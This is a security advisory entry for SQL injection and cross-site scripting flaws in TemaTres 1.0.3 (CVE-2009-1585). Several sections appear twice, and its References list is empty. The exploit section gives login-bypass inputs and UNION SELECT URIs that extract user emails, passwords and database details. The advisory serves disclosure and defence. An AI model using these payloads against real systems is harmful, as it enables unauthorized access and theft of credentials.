TemaTres SQL Injection and Cross Site Scripting Vulnerabilities
BID:34830
Info
TemaTres SQL Injection and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 34830 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-1585 |
| Remote: | Yes |
| Local: | No |
| Published: | May 05 2009 12:00AM |
| Updated: | May 21 2009 05:20AM |
| Credit: | YEnH4ckEr |
| Vulnerable: |
Diego Ferreyra TemaTres 1.0.3 |
| Not Vulnerable: | |
Discussion
TemaTres SQL Injection and Cross Site Scripting Vulnerabilities
TemaTres is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
TemaTres 1.0.3 is vulnerable; other versions may also be affected.
TemaTres is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
TemaTres 1.0.3 is vulnerable; other versions may also be affected.
Exploit / POC
TemaTres SQL Injection and Cross Site Scripting Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example data is available:
mail:' or 1=1 /*
password: Nothing
mail: Something
password:' or 1=1 /*
The following example URIs are available:
http://www.example.com/[HOME_PATH]/index.php?letra=2'+union+all+select+1,mail,3,pass+FROM+lc_usuario+WHERE+id=1/*
http://www.example.com/[HOME_PATH]/sobre.php?m=10&y=2007'+AND+0+UNION+ALL+SELECT+1,concat(mail,'<-:::->',pass),3,4,version(),concat(user(),'<-:::->',database()),7+FROM+lc_usuario+WHERE+id=1/*
http://www.example.com/[HOME_PATH]/sobre.php?m=10'+AND+0+UNION+ALL+SELECT+1,concat(mail,'<-:::->',pass),3,4,version(),concat(user(),'<-:::->',database()),7+FROM+lc_usuario+WHERE+id=1/*&y=2007
The following exploit code and example URIs are available:
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example data is available:
mail:' or 1=1 /*
password: Nothing
mail: Something
password:' or 1=1 /*
The following example URIs are available:
http://www.example.com/[HOME_PATH]/index.php?letra=2'+union+all+select+1,mail,3,pass+FROM+lc_usuario+WHERE+id=1/*
http://www.example.com/[HOME_PATH]/sobre.php?m=10&y=2007'+AND+0+UNION+ALL+SELECT+1,concat(mail,'<-:::->',pass),3,4,version(),concat(user(),'<-:::->',database()),7+FROM+lc_usuario+WHERE+id=1/*
http://www.example.com/[HOME_PATH]/sobre.php?m=10'+AND+0+UNION+ALL+SELECT+1,concat(mail,'<-:::->',pass),3,4,version(),concat(user(),'<-:::->',database()),7+FROM+lc_usuario+WHERE+id=1/*&y=2007
The following exploit code and example URIs are available:
Solution / Fix
TemaTres SQL Injection and Cross Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
TemaTres SQL Injection and Cross Site Scripting Vulnerabilities
References:
References: